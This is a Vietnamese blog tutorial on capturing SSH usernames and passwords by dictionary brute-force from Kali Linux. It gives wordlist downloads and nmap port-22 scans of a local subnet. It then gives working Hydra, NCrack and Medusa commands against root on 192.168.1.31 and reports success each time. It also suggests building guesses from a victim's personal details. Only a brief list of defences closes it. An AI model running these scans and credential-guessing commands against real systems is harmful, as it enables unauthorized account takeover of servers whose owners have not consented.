Thu Thập SSH Username & Password Với Brute Force Attack

brute force attack

Chào cả nhà, ngày hôm nay của bạn thế nào :D. Mình mới tìm hiểu được một phương pháp hacking mới, mà muốn giới thiệu ngay đến các bạn. Đó chính là phương pháp Brute Force Attack, mà mình sẽ cùng bạn tìm hiểu, và cách để thực hiện nó trên nền tảng Kali Linux. Bài viết sẽ cố gắng trình bày một cách đơn giản nhất, và giải thích tất cả mọi thứ mà bạn muốn biết.

Đầu tiên, SSH là gì ?

Đối với những nhà quản trị hệ thống, hẳn sẽ đều không còn xa lạ với thuật ngữ này. SSH là cụm từ viết tắt của Secure Shell, truy cập đến một máy từ xa thông qua cơ chế dòng lệnh đã được mã hóa. SSH giúp người dùng dễ dàng kết nối đến local và truy cập điều khiển máy tính từ xa. Trên các hệ thống Linux/Unix, SSH có thể dễ dàng được cài đặt, tương tự như các máy tính Windows.

Ứng dụng của SSH ?

Như đã trình bày, SSH cung cấp khả năng xác thực mạnh mẽ, và dữ liệu kết nối được mã hóa giữa 2 máy tính trên một môi trường không an toàn như là Internet. Hiện nay, giao thức này đã được dùng bởi hầu hết các nhà quản trị hệ thống để kết nối remote đến các máy khác, để thực hiện các thao tác dòng lệnh, tạo, sửa, xóa file trên các máy khác.

SSH sử dụng thuật toán mã hóa RSA, tạo ra một đường hầm kết nối giữa máy chủ và máy remote. Dữ liệu trao đổi qua lại giữa 2 máy này sẽ được mã hóa để không bị hacker bắt gói tin và giải mã.

Brute Force Attack là gì ?

Thu Thập SSH Username & Password Với Brute Force Attack

Bức hình bên trên đã minh họa hoàn tòan phương thức Brute Force Attack là gì. Nào chúng ta hãy cùng nhìn kỹ hơn và tìm hiểu xem cơ chế hoạt động của nó diễn ra như thế nào.

Brute Force Attack hoạt động bằng cách test lần lượt từng tổ hợp các password có thể được dùng bởi người dùng, sau đó kiểm tra nó để xem có phải là mật khẩu chính xác hay không. Để biết được rằng password là đúng hay sai, nó sẽ check lại kết quả trả về của Server.

Với những password có độ dài càng cao, thì thời gian để dò ra mật khẩu cũng sẽ theo đó mà tăng lên. Vì thế chúng ta hiểu vì sao mà những chuyên gia bảo mật luôn khuyến khích người dùng đặt mật khẩu với độ dài càng nhiều càng tốt.

Trong nhiều trường hợp, chúng tôi đã sử dụng phương thức dictionary attack để dò ra mẫu Password đúng. Ở phương thức này, mình được cung cấp một tool với một list những password có thể được sử dụng cho các hệ thống mục tiêu, và nó sẽ bắt đầu dò cho đến khi password khớp với mẫu mà user sử dụng.

Những password tương đối yếu như “ 123456 ” hoặc “ password “ , dù ít nhưng vẫn có người sử dụng, và nếu may mắn, chúng ta có thể mở khóa mật khẩu với thời gian nhanh nhất.

Tấm hình này diễn tả phương thức làm việc của Brute Force attack.

Thu Thập SSH Username & Password Với Brute Force Attack

Brute Force SSH :

Vậy là bạn đã biết Brute Force hoạt động như thế nào, hãy cùng nhau đi đến bước tiếp theo. Trong suốt chủ đề này, chúng ta sẽ sử dụng dictionary attack để lấy được mật khẩu của User SSH.

Để thực hiện đợt tấn công này, chúng ta cần một danh sách các từ thường được dùng để đặt mật khẩu, và công cụ sẽ liên tục thực hiện tổ hợp các từ này lại với nhau để tạo nên từng mẫu password. Nguồn danh sách các từ khóa password thường được dùng có thể tham khảo ở đây.

Ngoài ra còn nhiều cách khác để khoanh vùng các từ khóa nếu như hacker biết được thông tin của nạn nhân. VD : thông tin về tên tuổi, ngày sinh, tên cha mẹ, con cái, thú nuôi, các thông tin liên quan khác mà họ thường sử dụng để làm password.

Một ví dụ của dạng Password này đó là “thanhtam0911” trong đó Thanh Tâm là tên người bị hack, 09-11 là ngày tháng sinh của họ. Một chương trình rất tốt có thể dùng để dịch các từ khóa này là Ex0dus_0x’s D0xk1t, có thể tải về ở đây.

Bạn cũng có thể tải về những danh sách từ khóa khác bằng cách nhập command :

wget http://zeldor.biz/other/bruteforce/passlist.txt

wget https://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2

https://hashes.org/crackers.php

https://wiki.skullsecurity.org/Passwords

và nếu bạn đang sử dụng Kali Linux, bạn có thể thấy danh sách từ khóa mặc định được đặt ở :

/usr/share/wordlists/rockyou.txt.gz

Scan SSH Server sử dụng NMAP :

Sau khi đã chuẩn bị đầy đủ các tool để tấn công, bước tiếp theo cần làm đó là tìm ra server nào đang chạy SSH. Chúng ta sẽ dùng NMAP để Scan port 22, là port của dịch vụ SSH.

Ở ví dụ này, do chỉ cần tìm SSH Server trong hệ thống mạng nội bộ, chúng ta sẽ tiến hành scan hệ thống mạng 192.168.1.0/24. Dưới đây là câu lệnh NMAP mà bạn có thể dùng để Scan tất cả máy tính :

nmap 192.168.1.0/24 -p22

scan ssh nmap Thu Thập SSH Username & Password Với Brute Force Attack

Scan một máy xác định :

Nếu bạn muốn thử tấn công trên một remote server nhất định, thì phải tiến hành scan port ssh đang mở trên nó, dùng câu lệnh :

nmap <target> -p22

Tiến hành tấn công Brute Force SSH :

Sau khi hoàn thành tất cả các khâu chuẩn bị, chúng ta sẽ đi đến phần chính của bài viết, tấn công Brute Force. Những tool được sử dụng gồm có :

  • Hydra
  • NCrack
  • Medusa

Sử dụng Hydra :

Hydra là tool được sử dụng phổ biến, rất mạnh mẽ. Nếu bạn sử dụng hệ điều hành Kali Linux, thì tool này đã được cài đặt sẵn. Và với các phiên bản Debian khác, hãy sử dụng câu lệnh :

sudo apt-get install hydra hydra-gtk

Phiên bản Hydra 8.0 : có thể được Install từ repository : ppa:pi-rho/security

sudo add-apt-repository ppa:pi-rho/security

sudo apt-get update

sudo apt-get install hydra

Một phương án cài  khác :

wget http://www.thc.org/releases/hydra-8.3.tar.gz

tar -xvzf hydra-8.3.tar.gz

cd hydra-8.3 ./configure make

make install

sau khi cài đặt, chúng ta đã có thể tiến hành cuộc tấn công.

Lệnh sử dụng hydra :

[email protected]:~/Desktop# hydra -l root -P ‘/root/Desktop/500-worst-passwords.txt’ 192.168.1.31 ssh

ssh brute force hydra result Thu Thập SSH Username &#038; Password Với Brute Force Attack

Như đã thấy, Hydra đã thành công trong việc tìm ra tài khoản và password được sử dụng để login vào hệ thống.

Đây là video giải thích tiến trình tấn công.

Sử dụng NCrack :

Tool thứ 2 được dùng  là NCrack, cũng được cài đặt sẵn trong Kali Linux và bạn cũng có thể cài đặt nó trong các phiên bản Debian khác :

wget https://nmap.org/ncrack/dist/ncrack-0.5.tar.gz

tar -xvzf ncrack-0.5.tar.gz

cd ncrack-0.5

./configure

make

make install

Tiến trình cài đặt sẽ diễn ra và sau đó có thể chạy tool để crack password.

[email protected]:~/Desktop# ncrack -p 22 –user root -P ‘/root/Desktop/500-worst-passwords.txt’ 192.168.1.31

ncrack tool Thu Thập SSH Username &#038; Password Với Brute Force Attack

Tool đã dò ra được username và Password. Dưới đây là Video hướng dẫn.

Sử dụng Medusa :

Đây là tool cuối cùng trong bài viết có thể được dùng để tiến hành Brute Force Attack, tiến hành cài đặt tool :

wget http://www.foofus.net/jmk/tools/medusa-2.0.tar.gz

tar -xvzf medusa-2.0.tar.gz

cd medusa-2.0

./configure

make

make install

Câu lệnh dùng để Crack Password :

[email protected]:~/Desktop# medusa -u root -P ‘/root/Desktop/500-worst-passwords.txt’ -h 192.168.1.31 -M ssh

tool ncrack Thu Thập SSH Username &#038; Password Với Brute Force Attack

Như đã thấy trên hình, phần mềm đã dò ra được user và password. Dưới đây là video Minh họa.

Vậy nếu rơi trường hợp là nạn nhân, bạn phải làm gì để phòng tránh cuộc tấn công ?

Những phương pháp thường được khuyến nghị để né tránh các cuộc tấn công thường được triển khai như :

  • Chạy SSH trên những Port khác ( khác 22 )
  • Block SSH Login với tài khoản Root User.
  • Cài đặt sử dụng Fail2ban.
  • Giới hạn số lần đăng nhập của người dùng.

Tổng kết :

Qua bài thử nghiệm, chúng ta rút ra được một kinh nghiệm đó là : không bao giờ sử dụng Password đơn giản. Và chúng ta cũng đã biết cách dùng các Tool để test và kiểm nghiệm các vấn đề. Nếu bạn có bất kì góp ý nào hãy để lại comment bên dưới bài, rất vui vì những đóng góp để Website ngày càng hoàn thiện hơn.

  • Huong dan brute force attack
  • Brute force attack ssh server
  • Brute force attack tool
  • Prevent brush force attack ssh server

BÌNH LUẬN

Please enter your comment!
Please enter your name here